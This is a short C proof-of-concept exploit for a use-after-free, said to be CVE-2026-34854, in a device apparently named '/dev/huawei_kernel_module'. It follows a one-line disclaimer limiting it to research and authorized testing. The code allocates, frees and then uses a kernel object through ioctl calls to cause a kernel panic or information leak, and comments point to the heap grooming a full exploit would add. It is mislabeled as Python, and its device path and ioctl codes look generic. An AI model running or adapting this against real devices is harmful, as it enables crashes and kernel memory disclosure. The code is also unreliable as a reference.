The following code is for security research and authorized testing only.
python
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/ioctl.h>
// Macro definitions for the vulnerable interaction
#define VULN_DEVICE "/dev/huawei_kernel_module"
#define ALLOC_OBJ _IOW('A', 1, int)
#define FREE_OBJ _IOW('A', 2, int)
#define USE_OBJ _IOW('A', 3, int)
int main() {
printf("[+] Starting PoC for CVE-2026-34854\n");
// Step 1: Open the vulnerable device
int fd = open(VULN_DEVICE, O_RDWR);
if (fd < 0) {
perror("[-] Failed to open device");
return -1;
}
printf("[+] Device opened successfully\n");
// Step 2: Trigger allocation of kernel object
if (ioctl(fd, ALLOC_OBJ, NULL) < 0) {
perror("[-] Allocation failed");
close(fd);
return -1;
}
printf("[+] Kernel object allocated\n");
// Step 3: Trigger the vulnerability (Free object but leave pointer)
// This creates the Use-After-Free condition
if (ioctl(fd, FREE_OBJ, NULL) < 0) {
perror("[-] Free failed");
close(fd);
return -1;
}
printf("[+] Object freed (UAF condition triggered)\n");
// Step 4: In a real exploit, heap grooming would happen here
// to reclaim the freed memory with controlled data.
// sleep(1);
// Step 5: Trigger the use of the dangling pointer
// This will likely cause a kernel panic or information disclosure
printf("[+] Triggering use of dangling pointer...\n");
if (ioctl(fd, USE_OBJ, NULL) < 0) {
// In a crash scenario, this might not return or print error
perror("[-] Use failed (or kernel panicked)");
} else {
printf("[+] Exploit triggered. Check dmesg for kernel crash or info leak.\n");
}
close(fd);
return 0;
}